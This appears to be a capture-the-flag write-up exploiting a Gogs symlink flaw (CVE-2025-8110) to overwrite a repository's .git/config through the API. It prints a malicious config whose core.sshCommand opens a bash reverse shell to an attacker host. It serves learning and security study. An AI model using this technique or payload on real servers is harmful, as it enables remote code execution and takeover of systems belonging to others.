Flash CTF – Gigs

Solution Overview

The challenge involves exploiting a vulnerability in Gogs (CVE-2025-8110) where the API allows overwriting arbitrary files via symbolic links. By creating a symlink to .git/config and then overwriting it through the API, we can inject a malicious core.sshCommand configuration. This allows us to achieve Remote Code Execution (RCE) when the Gogs server performs a git operation that triggers an SSH connection.

Solution

The challenge provides a Gogs instance. We start by registering a user and logging in.

1. Vulnerability Analysis

The vulnerability lies in how Gogs handles file updates via its API. If a repository contains a symbolic link, the API does not properly validate if the file being updated is a regular file or a symlink. If we update a file that is actually a symlink, Gogs follows the link and overwrites the target file.

2. Exploitation Steps

To exploit this, we need to:

  1. Create a new repository.
  2. Clone it locally.
  3. Create a symbolic link named malicious_link pointing to .git/config.
  4. Commit and push this symlink to the repository.
  5. Use the Gogs API to update the content of malicious_link. Since it’s a symlink to .git/config, this will overwrite the repository’s configuration file on the server.

3. Achieving RCE

We overwrite .git/config with a malicious configuration that defines a core.sshCommand. This command is executed by git whenever it needs to establish an SSH connection. We also define a remote origin with an SSH URL to ensure that git tries to use SSH.

The malicious config looks like this:

[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    ignorecase = true
    precomposeunicode = true
    sshCommand = bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1 ' #
[remote "origin"]
    url = git@localhost:gogs/repo.git
    fetch = +refs/heads/*:refs/remotes/origin/*

4. Execution

After overwriting the config, any git operation on the server that interacts with the remote (like a fetch) will trigger the sshCommand, giving us a reverse shell.